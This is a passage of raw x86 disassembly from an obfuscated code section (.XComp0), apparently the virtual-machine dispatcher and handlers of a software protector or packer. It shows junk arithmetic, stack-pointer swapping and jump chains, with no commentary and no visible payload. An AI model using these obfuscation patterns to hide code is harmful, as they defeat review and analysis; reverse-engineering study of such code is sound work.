eax jmp loc_5894A8 ; --------------------------------------------------------------------------- loc_583A92: ; CODE XREF: .XComp0:0058D62Cj xchg ebp, [esp] pop esp movzx eax, al push dword ptr [edi+eax*4] jmp loc_584BC7 ; --------------------------------------------------------------------------- loc_583AA1: ; CODE XREF: .XComp0:0058592Fj mov edx, 4 add edi, 0C6A4255h sub edi, 0FAA4149h add edi, 98332Fh add edi, edx sub edi, 98332Fh add edi, 0FAA4149h push edx mov edx, 0C6A4255h sub edi, edx pop edx jmp loc_598CDE ; --------------------------------------------------------------------------- loc_583AD4: ; CODE XREF: .XComp0:005896D8j mov dh, 34h xor dh, 74h xor dh, 9Ch sub esp, 4 mov [esp], eax mov al, dh mov cl, al jmp loc_58B979 ; --------------------------------------------------------------------------- loc_583AEE: ; CODE XREF: .XComp0:00592F88j mov edx, [esp] add esp, 4 sub edi, 0CE92B34h mov ebp, edi pop edi add edx, ebp jmp loc_59494D ; --------------------------------------------------------------------------- loc_583B07: ; CODE XREF: .XComp0:00584A15j mov [esp], cx push ax push edx jmp loc_598352 ; --------------------------------------------------------------------------- loc_583B13: ; CODE XREF: .XComp0:0058B01Fj mov eax, [esp] jmp loc_58B624 ; --------------------------------------------------------------------------- loc_583B1B: ; CODE XREF: .XComp0:00594C8Cj sub eax, esi pop esi xor ecx, eax pop eax mov eax, ecx pop ecx sub ebp, 68FA3521h add ebp, eax add ebp, 68FA3521h jmp loc_5841B7 ; --------------------------------------------------------------------------- loc_583B37: ; CODE XREF: .XComp0:0058FDE6j add esp, 4 sub esp, 4 jmp loc_597001 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_595107 ; --------------------------------------------------------------------------- loc_583B50: ; CODE XREF: .XComp0:0059552Ej sub ebp, eax mov eax, [esp] add esp, 4 add ebp, 17FF5E9Dh sub ebp, ecx sub ebp, 17FF5E9Dh add ebp, 1D875ABDh pop ecx jmp loc_5984FE ; --------------------------------------------------------------------------- loc_583B72: ; CODE XREF: .XComp0:00588A47j pop eax mov edx, [esp] add esp, 4 mov ebp, ebx pop ebx mov esi, [esp] add esp, 4 not ebp add ebp, 0D11E6CEAh sub esp, 4 mov [esp], esi jmp loc_598486 ; --------------------------------------------------------------------------- loc_583B9B: ; CODE XREF: .XComp0:00592947j mov esi, 38D029D8h add [esp+4], esi pop esi pop ecx sub ecx, 38D029D8h pop edx jmp loc_5860EA ; --------------------------------------------------------------------------- push 67E4h mov [esp], edi jmp loc_586181 ; --------------------------------------------------------------------------- loc_583BBF: ; CODE XREF: .XComp0:0058648Fj sub eax, 398B417Fh add eax, 7BAF0E3Fh sub eax, edi sub eax, 7BAF0E3Fh jmp loc_596752 ; --------------------------------------------------------------------------- loc_583BD5: ; CODE XREF: .XComp0:005933A9j add eax, 4 xchg eax, [esp] pop esp loc_583BDC: ; CODE XREF: .XComp0:00587BE1j ; .XComp0:0058EC98j push dword ptr [edi+24h] add dword ptr [esp], 71F559BBh jmp loc_59821D ; --------------------------------------------------------------------------- loc_583BEB: ; CODE XREF: .XComp0:005872D8j mov [esp], ebx jmp loc_59828E ; --------------------------------------------------------------------------- loc_583BF3: ; CODE XREF: .XComp0:0058B2D3j add esp, 4 xor ebp, 42A01583h jmp loc_5981F1 ; --------------------------------------------------------------------------- loc_583C01: ; CODE XREF: .XComp0:00598007j pop ebx jmp loc_585954 ; --------------------------------------------------------------------------- loc_583C07: ; CODE XREF: .XComp0:0058569Fj push ebx mov ebx, 4AF43B19h and ebx, 7A4E4418h not ebx dec ebx add ebx, 4A44001Eh sub eax, ebx jmp loc_5921BD ; --------------------------------------------------------------------------- loc_583C23: ; CODE XREF: .XComp0:005961E1j pop eax jmp loc_595F38 ; --------------------------------------------------------------------------- loc_583C29: ; CODE XREF: .XComp0:0058F321j add esi, 38D34972h xor esi, 5D58FFB1h jmp loc_593D33 ; --------------------------------------------------------------------------- loc_583C3A: ; CODE XREF: .XComp0:0058DF4Aj add eax, 4 sub eax, 4 jmp loc_595C63 ; --------------------------------------------------------------------------- loc_583C47: ; CODE XREF: .XComp0:0058F50Fj sub ebp, 6C2209FCh jmp loc_587505 ; --------------------------------------------------------------------------- loc_583C52: ; CODE XREF: .XComp0:00588B20j pop esp push 3988h mov [esp], edx push eax mov eax, 725D6F1Ch or eax, 19B37874h sub eax, 28DA0865h push ecx mov ecx, 54EA282Ah xor eax, ecx mov ecx, [esp] add esp, 4 sub eax, 9B3005B9h mov edx, eax pop eax xchg ecx, edx dec ecx push 253Fh mov [esp], edx sub esp, 4 mov [esp], ecx pop edx jmp loc_586CF9 ; --------------------------------------------------------------------------- loc_583C9B: ; CODE XREF: .XComp0:005862B7j add al, 0C0h sub al, dl sub al, 0C0h pop edx push 3672h mov [esp], ecx mov ch, 31h sub al, 6Bh add al, ch add al, 6Bh pop ecx sub esp, 4 mov [esp], ecx push edx mov dh, 8Eh mov cl, dh push dword ptr [esp] jmp loc_589E26 ; --------------------------------------------------------------------------- loc_583CC9: ; CODE XREF: .XComp0:0059319Aj push 26AEh mov [esp], edi mov edi, 68F41B04h xor ebx, edi pop edi push ebx xor dword ptr [esp], 67444C36h pop eax xor eax, 67444C36h push dword ptr [esp] pop ebx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov ecx, [esp] jmp loc_5950AB ; --------------------------------------------------------------------------- loc_583D04: ; CODE XREF: .XComp0:005964B9j push ebx mov ebx, 0D1323384h add edi, ebx pop ebx jmp loc_596A9F ; --------------------------------------------------------------------------- mov ax, [esp] push 4943h jmp loc_58472B ; --------------------------------------------------------------------------- loc_583D20: ; CODE XREF: .XComp0:005873DCj shr ebp, 2 sub ebp, 28AB5DE2h sub ebp, 896FC0ACh jmp loc_597D24 ; --------------------------------------------------------------------------- loc_583D34: ; CODE XREF: .XComp0:00587350j mov ebp, 48EC39E1h mov esi, 14371B7Eh xor esi, ebp pop ebp jmp loc_58B82F ; --------------------------------------------------------------------------- loc_583D46: ; CODE XREF: .XComp0:00597659j mov esi, 4 add eax, esi jmp loc_594AEC ; --------------------------------------------------------------------------- loc_583D52: ; CODE XREF: .XComp0:0059532Cj mov ch, 0D4h and ch, 2Dh add ch, 1 jmp loc_596358 ; --------------------------------------------------------------------------- loc_583D5F: ; CODE XREF: .XComp0:0058E468j pop dx pop ecx push 78A6h jmp loc_595DE0 ; --------------------------------------------------------------------------- loc_583D6C: ; CODE XREF: .XComp0:00587521j pop ebp add ebp, 4 jmp loc_58BB8B ; --------------------------------------------------------------------------- loc_583D78: ; CODE XREF: .XComp0:0058B675j push ebp mov ebp, 62423AA8h push ebp neg dword ptr [esp] jmp loc_59502E ; --------------------------------------------------------------------------- loc_583D87: ; CODE XREF: .XComp0:0058EA8Ej inc edi sub edi, 0C5CB6BF7h sub [edx+30h], edi push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_58DBCD ; --------------------------------------------------------------------------- loc_583D9F: ; CODE XREF: .XComp0:00589293j mov edi, 4D32E6FEh add edi, edx pop edx sub edi, 14831ECFh jmp loc_592F33 ; --------------------------------------------------------------------------- loc_583DB2: ; CODE XREF: .XComp0:00587126j add ebp, 26E04C7Bh pop ebx add edi, ebp mov ebp, [esp] add esp, 4 push 3EFDh mov [esp], esi mov esi, 4 jmp loc_58BDA9 ; --------------------------------------------------------------------------- loc_583DD3: ; CODE XREF: .XComp0:0058F76Aj sub ebp, 1DEF7B1Ah shl ebp, 3 jmp loc_596514 ; --------------------------------------------------------------------------- loc_583DE1: ; CODE XREF: .XComp0:00588199j push dword ptr [esp+4] mov ebp, [esp] push ecx mov ecx, esp push edi mov edi, 0EAF47F8h xor edi, 57343BB3h sub edi, 599B7C47h add ecx, edi pop edi add ecx, 4 jmp loc_58B858 ; --------------------------------------------------------------------------- loc_583E0B: ; CODE XREF: .XComp0:00587DEBj pop dword ptr [esp] pop esp push 41Ch mov [esp], eax mov eax, 4B345DB6h shr eax, 4 xor eax, 165E3D0Ch jmp loc_58D040 ; --------------------------------------------------------------------------- loc_583E29: ; CODE XREF: .XComp0:0058BA90j add ecx, edx mov edx, [esp] add esp, 4 add ecx, 4 xor ecx, [esp] jmp loc_5888B2 ; --------------------------------------------------------------------------- loc_583E3C: ; CODE XREF: .XComp0:0058CBE4j mov edi, esp jmp loc_58F0EA ; --------------------------------------------------------------------------- loc_583E43: ; CODE XREF: .XComp0:00590872j mov edx, 24530888h sub edx, 0F854E543h jmp loc_59480B ; --------------------------------------------------------------------------- loc_583E53: ; CODE XREF: .XComp0:00589BDEj xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], cx jmp loc_583A60 ; --------------------------------------------------------------------------- loc_583E65: ; CODE XREF: .XComp0:0059590Ej sub edi, 7AA86B92h sub edi, 1CE1200Fh add edi, esi add edi, 1CE1200Fh jmp loc_58991C ; --------------------------------------------------------------------------- loc_583E7E: ; CODE XREF: .XComp0:00587311j sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx mov ecx, 8093BD0h sub [esp+4], ecx pop ecx sub dword ptr [esp], 6D977B84h add [esp], eax push eax mov eax, 6D977B84h add [esp+4], eax pop eax sub esp, 4 mov [esp], ecx mov ecx, 8093BD0h add [esp+4], ecx pop ecx push 1EE5h mov [esp], edx push esi push 13EE1946h pop esi shl esi, 4 add esi, 303A38D0h or esi, 79275AEBh sub esi, 140FCD94h jmp loc_58C489 ; --------------------------------------------------------------------------- loc_583EE0: ; CODE XREF: .XComp0:00587DFFj mov esi, esp add esi, 4 add esi, 4 jmp loc_58B2E0 ; --------------------------------------------------------------------------- loc_583EF3: ; CODE XREF: .XComp0:00584CFAj not edi xor edx, edi xor edi, edx xor edx, edi shr edx, 8 dec edx sub edx, 4E0F2936h push ecx mov ecx, 599C12FCh shl ecx, 6 xor ecx, offset byte_494953 or ecx, 609F3E46h xor ecx, 358D23BFh add edx, ecx pop ecx push edx xchg edx, [esp] not edx jmp loc_585BCF ; --------------------------------------------------------------------------- loc_583F2E: ; CODE XREF: .XComp0:0058CA14j mov ch, 30h mov dl, ch pop cx and cl, dl pop edx neg cl xor cl, 51h and dl, cl jmp loc_58DA64 ; --------------------------------------------------------------------------- loc_583F43: ; CODE XREF: .XComp0:0058E33Bj add dword ptr [esp], 4 pop ebx push 3202h mov [esp], esi push 4 pop esi add ebx, esi jmp loc_58B579 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_583F67: ; CODE XREF: .XComp0:005947A3j sub eax, 191493Ah sub eax, ecx add eax, 191493Ah pop ecx sub eax, 41D46153h jmp loc_58686A ; --------------------------------------------------------------------------- loc_583F7E: ; CODE XREF: .XComp0:0058C3C2j shl ecx, 8 shr ecx, 2 sub ecx, 7C10176Fh push eax mov eax, 87B03155h jmp loc_58D37A ; --------------------------------------------------------------------------- loc_583F95: ; CODE XREF: .XComp0:00589624j push ebx mov ebx, 4A5B01D8h add ebx, 0B60F5452h mov esi, 6A5628h jmp loc_58D3BF ; --------------------------------------------------------------------------- loc_583FAB: ; CODE XREF: .XComp0:0058A958j xor edi, [esp] jmp loc_58864E ; --------------------------------------------------------------------------- loc_583FB3: ; CODE XREF: .XComp0:00587FD9j xor eax, 736A452Bh push ebx mov ebx, 72224064h shr ebx, 8 sub ebx, 0B3408FC4h xor eax, ebx pop ebx jmp loc_593D25 ; --------------------------------------------------------------------------- loc_583FCF: ; CODE XREF: .XComp0:0058B42Ej xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_584B91 ; --------------------------------------------------------------------------- loc_583FE0: ; CODE XREF: .XComp0:00596EA8j add esi, ebx pop ebx jmp loc_58ED11 ; --------------------------------------------------------------------------- loc_583FE8: ; CODE XREF: .XComp0:005944DCj mov [esp], edi mov edi, 4 jmp loc_5971AC ; --------------------------------------------------------------------------- loc_583FF5: ; CODE XREF: .XComp0:00585252j push dword ptr [esp] pop edi jmp loc_58C5B5 ; --------------------------------------------------------------------------- loc_583FFE: ; CODE XREF: .XComp0:0059758Fj add edi, ecx pop ecx xor edi, 53DA6226h jmp loc_596EBB ; --------------------------------------------------------------------------- lodsb jmp loc_584A0F ; --------------------------------------------------------------------------- loc_584012: ; CODE XREF: .XComp0:00598E88j xor edx, 21E03B2Ah push eax mov eax, edx jmp loc_592F85 ; --------------------------------------------------------------------------- loc_584020: ; CODE XREF: .XComp0:0059486Dj add edx, ecx pop ecx add edx, 34801A76h jmp loc_58C085 ; --------------------------------------------------------------------------- loc_58402E: ; CODE XREF: .XComp0:0058A61Ej mov ah, 15h jmp loc_589D42 ; --------------------------------------------------------------------------- loc_584035: ; CODE XREF: .XComp0:00585DA5j mov edi, 542C63A5h xor edi, 2A991AA7h jmp loc_58F0B9 ; --------------------------------------------------------------------------- loc_584045: ; CODE XREF: .XComp0:0058CC3Fj push 75A8h mov [esp], ebp push ebx push esp pop ebx jmp loc_58DD95 ; --------------------------------------------------------------------------- loc_584055: ; CODE XREF: .XComp0:0058AD29j add edx, ebx add edx, 69CD2B8Ah pop ebx add edx, 4 xchg edx, [esp] pop esp xor [esp+4], ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_58F15D ; --------------------------------------------------------------------------- loc_58407D: ; CODE XREF: .XComp0:00595CEBj add [esp+4], esi pop esi push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_58E297 ; --------------------------------------------------------------------------- loc_584096: ; CODE XREF: .XComp0:0058BDDDj pop ebx pop ebx add cl, dh pop dx push 36h mov [esp], edx jmp loc_58D1C0 ; --------------------------------------------------------------------------- loc_5840A9: ; CODE XREF: .XComp0:005968B2j push 32B2h mov [esp], ecx mov ecx, 2EF5191Dh mov edi, 286B72BFh sub esp, 4 mov [esp], ebx mov ebx, 0E344E0Ch neg ebx inc ebx push ecx mov ecx, 21C0545Eh dec ecx push edx mov edx, 5AB21918h sub ecx, edx pop edx push edx jmp loc_59705F ; --------------------------------------------------------------------------- loc_5840DF: ; CODE XREF: .XComp0:005936F3j xor [esp], eax mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_58F5C7 ; --------------------------------------------------------------------------- loc_5840F9: ; CODE XREF: .XComp0:0058D3E8j push ecx jmp loc_58F9EC ; --------------------------------------------------------------------------- loc_5840FF: ; CODE XREF: .XComp0:00590849j pop ecx pop ebx push 41D8h mov [esp], eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_58C5A0 ; --------------------------------------------------------------------------- loc_58411E: ; CODE XREF: .XComp0:00586616j sub esp, 4 mov [esp], esi jmp loc_58A157 ; --------------------------------------------------------------------------- loc_58412C: ; CODE XREF: .XComp0:005902E2j pop ecx xor ebp, edx pop edx mov ecx, ebp pop ebp sub esp, 4 mov [esp], ecx push esi jmp loc_58654F ; --------------------------------------------------------------------------- loc_58413F: ; CODE XREF: .XComp0:0058A572j xor ah, 74h push ebx mov bh, ah mov ch, bh pop ebx pop eax or ch, 0CDh shl ch, 8 jmp loc_58AEC1 ; --------------------------------------------------------------------------- loc_584154: ; CODE XREF: .XComp0:0058F56Bj pop dword ptr [esp] push esi mov esi, 4 jmp loc_596582 ; --------------------------------------------------------------------------- loc_584162: ; CODE XREF: .XComp0:0058A38Cj or cl, al pop ax sub esp, 4 jmp loc_588899 ; --------------------------------------------------------------------------- loc_58416E: ; CODE XREF: .XComp0:00585899j push dword ptr [esp] pop edi add esp, 4 sub edi, 4F371ED0h jmp loc_58957B ; --------------------------------------------------------------------------- loc_584183: ; CODE XREF: .XComp0:0058D90Aj add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esp, 4 pop ecx sub esp, 4 mov [esp], edi push 1 jmp loc_594B1A ; --------------------------------------------------------------------------- loc_5841AA: ; CODE XREF: .XComp0:005888ADj push ecx mov cl, 74h push edx mov dh, 0F7h dec dh jmp loc_598FD6 ; --------------------------------------------------------------------------- loc_5841B7: ; CODE XREF: .XComp0:00583B32j pop eax push 1A47h mov [esp], ebp push dword ptr [esp+4] jmp loc_586AD5 ; --------------------------------------------------------------------------- loc_5841C9: ; CODE XREF: .XComp0:0058860Aj mov esp, [esp] mov [esp], edx push esp pop edx add edx, 4 push ebp sub esp, 4 mov [esp], edi push edx push 533Ch mov [esp], ebx mov ebx, 4BFB3CB2h add ebx, 591C34C2h xor ebx, 4D3676FBh push ebp mov ebp, 23783DB7h jmp loc_592604 ; --------------------------------------------------------------------------- loc_584206: ; CODE XREF: .XComp0:005928E0j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_58DB50 ; --------------------------------------------------------------------------- loc_584220: ; CODE XREF: .XComp0:0058AC74j pop ebx push dword ptr [esp] jmp loc_589CCE ; --------------------------------------------------------------------------- loc_584229: ; CODE XREF: .XComp0:0058DB2Ej xor edx, eax pop eax pop edi jmp loc_5852E3 ; --------------------------------------------------------------------------- loc_584232: ; CODE XREF: .XComp0:0058A665j push edx push ebx jmp loc_58A163 ; --------------------------------------------------------------------------- loc_584239: ; CODE XREF: .XComp0:005884F7j mov [esp], esi push dword ptr [esp+4] pop esi jmp loc_589BBC ; --------------------------------------------------------------------------- loc_584246: ; CODE XREF: .XComp0:00585B47j add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax jmp loc_588F4D ; --------------------------------------------------------------------------- loc_58425B: ; CODE XREF: .XComp0:0058E85Aj mov esp, [esp] sub [esp], al pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_584267: ; CODE XREF: .XComp0:0059671Fj or ebx, ebx jnz loc_5850DB push 7DEDh mov [esp], ecx sub esp, 4 jmp loc_591210 ; --------------------------------------------------------------------------- loc_58427F: ; CODE XREF: .XComp0:005960E4j add ecx, 4 add ecx, 4 jmp loc_5950B9 ; --------------------------------------------------------------------------- loc_58428D: ; CODE XREF: .XComp0:00587C5Ej push ebp push dword ptr [esp+4] mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_587D54 ; --------------------------------------------------------------------------- mov ax, [esp] push 6B0Eh jmp loc_591925 ; --------------------------------------------------------------------------- loc_5842B1: ; CODE XREF: .XComp0:0058BC7Bj pop esi push ebp jmp loc_58FED3 ; --------------------------------------------------------------------------- loc_5842B8: ; CODE XREF: .XComp0:005974BFj mov ebx, [esp] add esp, 4 sub ebp, 3E1A6833h shl ebp, 2 shl ebp, 3 inc ebp not ebp sub ebp, 2D851226h add esi, ebp jmp loc_5924CA ; --------------------------------------------------------------------------- loc_5842DD: ; CODE XREF: .XComp0:00593314j add esp, 4 and eax, ecx mov ecx, [esp] add esp, 4 shr eax, 8 jmp loc_590D93 ; --------------------------------------------------------------------------- loc_5842F3: ; CODE XREF: .XComp0:0058A00Cj add esp, 4 add esi, 37333020h add esi, eax push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_586D5E ; --------------------------------------------------------------------------- loc_584313: ; CODE XREF: .XComp0:005907D8j push dword ptr [esp] push dword ptr [esp] jmp loc_5875CE ; --------------------------------------------------------------------------- loc_58431E: ; CODE XREF: .XComp0:00598E59j xor eax, 0D88710Eh and eax, 4B894F51h jmp loc_591A60 ; --------------------------------------------------------------------------- loc_58432D: ; CODE XREF: .XComp0:00588EF8j add edx, eax jmp loc_5953D9 ; --------------------------------------------------------------------------- loc_584334: ; CODE XREF: .XComp0:005909E9j pop esi xchg ecx, [esp] jmp loc_5962B0 ; --------------------------------------------------------------------------- loc_58433D: ; CODE XREF: .XComp0:005894FFj add esi, 4 push eax mov eax, 4 sub esi, eax pop eax jmp loc_585767 ; --------------------------------------------------------------------------- loc_584351: ; CODE XREF: .XComp0:00590696j mov eax, 0 sub eax, ecx xchg eax, ecx pop eax sub ecx, 14B64A53h xor ecx, 33E576F4h jmp loc_58A8FE ; --------------------------------------------------------------------------- loc_58436B: ; CODE XREF: .XComp0:00589C42j mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ebx jmp loc_58E792 ; --------------------------------------------------------------------------- loc_58438D: ; CODE XREF: .XComp0:005914A7j add eax, 4 push ebx mov ebx, 4 jmp loc_5968B7 ; --------------------------------------------------------------------------- loc_58439D: ; CODE XREF: .XComp0:0058CFA3j and esi, 4B77053Ch jmp loc_587425 ; --------------------------------------------------------------------------- loc_5843A8: ; CODE XREF: .XComp0:00597BE5j mov dl, 0Fh or cl, dl jmp loc_58F9B2 ; --------------------------------------------------------------------------- loc_5843B1: ; CODE XREF: .XComp0:0058B627j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_58A8DD ; --------------------------------------------------------------------------- loc_5843C2: ; CODE XREF: .XComp0:0059439Fj mov [esp], edi mov edi, 12A25CFh push 77AEh mov [esp], edi push ecx mov ecx, 1E820ADFh xor [esp+4], ecx jmp loc_587187 ; --------------------------------------------------------------------------- loc_5843E1: ; CODE XREF: .XComp0:00593B1Fj xor edx, eax jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5843E8: ; CODE XREF: .XComp0:00597A57j sub eax, 59C351ABh add eax, esi push ebp jmp loc_58B7DD ; --------------------------------------------------------------------------- loc_5843F5: ; CODE XREF: .XComp0:00590CD5j mov edx, 36B46111h inc edx jmp loc_584DE1 ; --------------------------------------------------------------------------- loc_584400: ; CODE XREF: .XComp0:005980D8j shr ebx, 4 xor ebx, 0F9F38FDh push ebx mov ebx, 37995CDBh not ebx jmp loc_58FFBD ; --------------------------------------------------------------------------- loc_584416: ; CODE XREF: .XComp0:00587531j shr ebx, 2 jmp loc_58E157 ; --------------------------------------------------------------------------- loc_58441E: ; CODE XREF: .XComp0:00597644j mov ecx, 6329396Bh jmp loc_58FAA6 ; --------------------------------------------------------------------------- loc_584428: ; CODE XREF: .XComp0:005895F9j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_58489D ; --------------------------------------------------------------------------- loc_58443E: ; CODE XREF: .XComp0:00598F58j push ecx pop esi pop ecx add eax, esi jmp loc_58A677 ; --------------------------------------------------------------------------- loc_584448: ; CODE XREF: .XComp0:00591B97j mov [esp], ecx mov ecx, 38h jmp loc_5944E1 ; --------------------------------------------------------------------------- loc_584455: ; CODE XREF: .XComp0:0058E88Bj pop edi shr ebp, 3 push eax mov eax, 5FF375E2h add eax, 590816E5h neg eax jmp loc_58BDCA ; --------------------------------------------------------------------------- loc_58446B: ; CODE XREF: .XComp0:005928D2j add edi, ecx mov ecx, [esp] jmp loc_585D40 ; --------------------------------------------------------------------------- loc_584475: ; CODE XREF: .XComp0:0058C330j push edi mov edi, 7D19212Ah add edx, edi jmp loc_589489 ; --------------------------------------------------------------------------- loc_584482: ; CODE XREF: .XComp0:005929DAj mov eax, 4 add ebp, eax pop eax jmp loc_5881BC ; --------------------------------------------------------------------------- loc_58448F: ; CODE XREF: .XComp0:0058DB9Ej sub ah, ch pop ecx mov bl, 46h jmp loc_58DDBB ; --------------------------------------------------------------------------- loc_584499: ; CODE XREF: .XComp0:00591DAEj push ebp jmp loc_58FD67 ; --------------------------------------------------------------------------- loc_58449F: ; CODE XREF: .XComp0:0058AB99j xchg esi, edx jmp loc_58749A ; --------------------------------------------------------------------------- loc_5844A6: ; CODE XREF: .XComp0:005970D1j sub eax, ecx jmp loc_58C4E8 ; --------------------------------------------------------------------------- loc_5844AD: ; CODE XREF: .XComp0:00598ECCj mov ebp, [esp] add esp, 4 add eax, 4 jmp loc_594716 ; --------------------------------------------------------------------------- loc_5844BE: ; CODE XREF: .XComp0:00589D8Bj add ebx, eax pop eax sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx mov dh, 8Ch dec dh sub dh, 2 jmp loc_5908AD ; --------------------------------------------------------------------------- loc_5844DA: ; CODE XREF: .XComp0:00585157j push bx mov bx, 21A3h add ax, bx jmp loc_58C72A ; --------------------------------------------------------------------------- loc_5844E8: ; CODE XREF: .XComp0:0058A374j mov ebp, 70E84013h shr ebp, 6 add ebp, 7FC31621h add ebp, 0CE1251EDh and edx, ebp pop ebp shr edx, 3 push ebp mov ebp, 7B615446h shr ebp, 3 neg ebp not ebp dec ebp add ebp, 5CD74468h sub ebp, 64316D6Eh xor edx, ebp pop ebp push 252Eh mov [esp], edi mov edi, esp jmp loc_5943EC ; --------------------------------------------------------------------------- loc_58452E: ; CODE XREF: .XComp0:0058DB35j ; .XComp0:005973C0j push 4E07h mov [esp], ebx push edx mov edx, 76D94038h add [esp+4], edx pop edx pop eax push ecx mov ecx, 68B93653h push edx loc_584549: ; DATA XREF: .XComp0:00452CC0o jmp loc_58A096 ; --------------------------------------------------------------------------- loc_58454E: ; CODE XREF: .XComp0:00584965j xor edx, 861395A9h mov ebx, edx pop edx sub edi, ebx pop ebx mov ebp, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_59641D ; --------------------------------------------------------------------------- loc_584574: ; CODE XREF: .XComp0:0058B550j pop edi add eax, edx jmp loc_58D071 ; --------------------------------------------------------------------------- loc_58457C: ; CODE XREF: .XComp0:005931EFj pop esp sub dword ptr [esp+4], 5F460252h add [esp+4], ebp jmp loc_593444 ; --------------------------------------------------------------------------- loc_58458E: ; CODE XREF: .XComp0:00593668j pop dword ptr [esp] pop esp push ebx push ebp mov ebp, 4EB223FFh jmp loc_5962E2 ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5845A7: ; CODE XREF: .XComp0:00587EF6j sub edx, ebx pop ebx push ecx jmp loc_58F285 ; --------------------------------------------------------------------------- loc_5845B0: ; CODE XREF: .XComp0:00586EC4j sub esi, ecx pop ecx jmp loc_598F5D ; --------------------------------------------------------------------------- loc_5845B8: ; CODE XREF: .XComp0:0058D0E2j push esi mov esi, 4 push ecx mov ecx, 41E07B37h add ebx, ecx pop ecx push ecx mov ecx, 45A77918h add ebx, ecx pop ecx add ebx, 1C150E57h jmp loc_593330 ; --------------------------------------------------------------------------- loc_5845DB: ; CODE XREF: .XComp0:00594302j shl esi, 2 and esi, 22AD1AEEh add esi, 0E6271D79h add eax, esi pop esi sub eax, ecx push ecx push 834h jmp loc_59336C ; --------------------------------------------------------------------------- loc_5845FA: ; CODE XREF: .XComp0:0058652Cj dec ebx push eax push ebx pop eax jmp loc_58EF55 ; --------------------------------------------------------------------------- loc_584603: ; CODE XREF: .XComp0:0058DBC8j add ebp, 5A027F7Bh add ebp, ecx sub ebp, 5A027F7Bh mov ecx, [esp] add esp, 4 add ebp, 2 xchg ebp, [esp] jmp loc_596F26 ; --------------------------------------------------------------------------- loc_584628: ; CODE XREF: .XComp0:00598E60j pop edx sub cl, 0FFh push eax mov ah, 1Ch add ah, 0E5h sub cl, ah mov eax, [esp] add esp, 4 dec cl push dx jmp loc_58E072 ; --------------------------------------------------------------------------- loc_584643: ; CODE XREF: .XComp0:0058520Aj pop dword ptr [esp] jmp loc_5892E8 ; --------------------------------------------------------------------------- loc_58464B: ; CODE XREF: .XComp0:0059464Ej mov [esp], ebx jmp loc_591B67 ; --------------------------------------------------------------------------- loc_584653: ; CODE XREF: .XComp0:00597E09j add esp, 4 push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_594A24 ; --------------------------------------------------------------------------- loc_584678: ; CODE XREF: .XComp0:005870E7j sub ebp, 54517Ch sub eax, ebp pop ebp push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], ecx mov ecx, esp jmp loc_596940 ; --------------------------------------------------------------------------- loc_584695: ; CODE XREF: .XComp0:00590FD5j pop eax push 20A5h mov [esp], edi mov edi, esp add edi, 4 jmp loc_58F5F4 ; --------------------------------------------------------------------------- loc_5846AB: ; CODE XREF: .XComp0:0058A6F8j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] add esi, ecx jmp loc_5888FD ; --------------------------------------------------------------------------- loc_5846BE: ; CODE XREF: .XComp0:0059448Bj add eax, ebx jmp loc_58B10F ; --------------------------------------------------------------------------- loc_5846C5: ; CODE XREF: .XComp0:0058C1D8j mov ebp, [esp] add esp, 4 not esi push 77EEh mov [esp], edi mov edi, 82F09950h jmp loc_590DB9 ; --------------------------------------------------------------------------- loc_5846DF: ; CODE XREF: .XComp0:0058665Cj mov [esp], ebx jmp loc_588A88 ; --------------------------------------------------------------------------- loc_5846E7: ; CODE XREF: .XComp0:005921ABj sub eax, 636B4A97h sub eax, edx add eax, 636B4A97h push dword ptr [esp] pop edx add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_58AF70 ; --------------------------------------------------------------------------- lodsd add eax, 566D2592h push ebx mov ebx, 746F49A8h sub eax, ebx pop ebx add eax, 255A3E3Eh add eax, ebx sub eax, 255A3E3Eh jmp loc_587F29 ; --------------------------------------------------------------------------- loc_58472B: ; CODE XREF: .XComp0:00583D1Bj mov [esp], ebp push 21ECh jmp loc_589DEC ; --------------------------------------------------------------------------- loc_584738: ; CODE XREF: .XComp0:00593D86j mov ecx, [esp] jmp loc_595AE6 ; --------------------------------------------------------------------------- loc_584740: ; CODE XREF: .XComp0:00586F73j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add ecx, 4 xor ecx, [esp] jmp loc_587DF0 ; --------------------------------------------------------------------------- loc_58475D: ; CODE XREF: .XComp0:00590E9Dj pop edx pop dword ptr [esp] pop esp mov edx, edi pop edi loc_584765: ; CODE XREF: .XComp0:0058FFE4j ; .XComp0:005910E3j push 2518h mov [esp], ebx jmp loc_58ABB0 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_593D5E ; 